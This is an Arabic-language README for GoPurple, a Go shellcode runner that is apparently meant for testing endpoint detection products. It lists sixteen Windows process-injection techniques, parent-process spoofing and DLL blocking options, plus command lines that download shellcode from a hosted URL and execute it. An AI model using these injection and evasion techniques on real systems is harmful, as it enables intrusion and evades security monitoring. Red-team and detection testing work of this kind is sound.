
أداة shellcode runner أخرى تتكون من تقنيات مختلفة لتقييم قدرات الكشف لحلول أمان نقاط النهاية
هذا المشروع عبارة عن مجموعة بسيطة من تقنيات حقن كود شيل المختلفة، تهدف إلى تبسيط عملية تقييم كشف نقاط النهاية، بالإضافة إلى تحدي نفسي للدخول إلى عالم Golang.
1 - يتطلب تثبيت go.
2 - قم ببناء التطبيق من دليل المشروع: go build. اضبط GOOS=windows إذا كان نظام البناء ليس Windows.
_____ _
/ ____| | |
| | __ ___ _ __ _ _ _ __ _ __ | | ___
| | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
| |__| | (_) | |_) | |_| | | | |_) | | __/
\_____|\___/| .__/ \__,_|_| | .__/|_|\___|
| | | |
|_| |_| by @s3cdev
-a string
وسائط سطر الأوامر للبرنامج
-b string
وضع حظر DLL (nonms/onlystore لـ QueueUserAPC)
-p int
معرف العملية لحقن شيل كود فيها
-prog string
البرنامج المراد الحقن فيه
-t string
تقنية حقن شيل كود للاستخدام:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
رابط الاستضافة لشيل الكود
يجب إنشاء شيل كود، ويمكن ذلك باستخدام أدوات مثل msfvenom أو shad0w. ثم يجب استضافة شيل الكود ليتم تنزيله عن بُعد وتنفيذه على الجهاز البعيد. من أجل التوضيح، تُظهر العروض التوضيحية أدناه طرقًا مختلفة لاستخدام الأداة.
1 - حقن شيل كود باستخدام طريقة BananaPhone + shad0w كمنشئ شيل كود

2 - حقن شيل كود باستخدام تقنية QueueUserAPC + shad0w كمنشئ شيل كود + تزوير معرف العملية الأصل (explorer كمعرف أصلي) + إطلاق عملية بواسطة أصل مزور يحتوي على شيل الكود (calc) + حماية العملية من ربط DLL غير الموقّع، بحيث يمكن فقط لـ DLL الموقّعة من Microsoft الربط مع العملية.

3- حقن شيل كود باستخدام CreateFiber + msfvenom كمنشئ شيل كود

1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 - gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process) (CreateProcessWithPipe)
11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore) (QueueUserAPC)
nonms = فقط DLL الموقّعة من Microsoft يمكنها الربط مع العملية
onlystore = فقط عمليات تطبيق متجر Microsoft يمكنها الربط مع العملية
12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14- gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15- gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16- gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)
كل الشكر والتقدير للأشخاص التاليين لأبحاثهم وأدواتهم وإلهامهم الرائعة:
ne0nd0g: معظم هذا المشروع مقتبس من go-shellcode
spotheplanet: المنشور ألهمني لتحويل الطريقة إلى Golang
_d00mfist: تنفيذ رائع لتقنية QueueUserAPC في Golang
c__sto: تقنية BananaPhone
batsec: شادو العظيم
chiragsavla94: مستوحى من ProcessInjection
S4R1N: لتقديم بدائل جديدة لتنفيذ الكود
شكر خاص لـ brimston3 لدعمه ومساهمته
(https://github.com/Ne0nd0g/go-shellcode)
(https://github.com/D00MFist/Go4aRun)
(https://github.com/BishopFox/sliver)
(https://posts.specterops.io/going-4-a-run-eb263838b944)
(https://github.com/C-Sto/BananaPhone)
(https://blog.xpnsec.com/protecting-your-malware)
(https://github.com/3xpl01tc0d3r/ProcessInjection)
(https://github.com/S4R1N/AlternativeShellcodeExec)
هذا المشروع مصمم لأغراض تعليمية واختبارية أخلاقية فقط. استخدام GoPurple لمهاجمة أهداف دون موافقة متبادلة مسبقة غير قانوني. من مسؤولية المستخدم النهائي الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها. لا يتحمل المطور أي مسؤولية ولا يكون مسؤولاً عن أي سوء استخدام أو ضرر ناتج عن هذا البرنامج.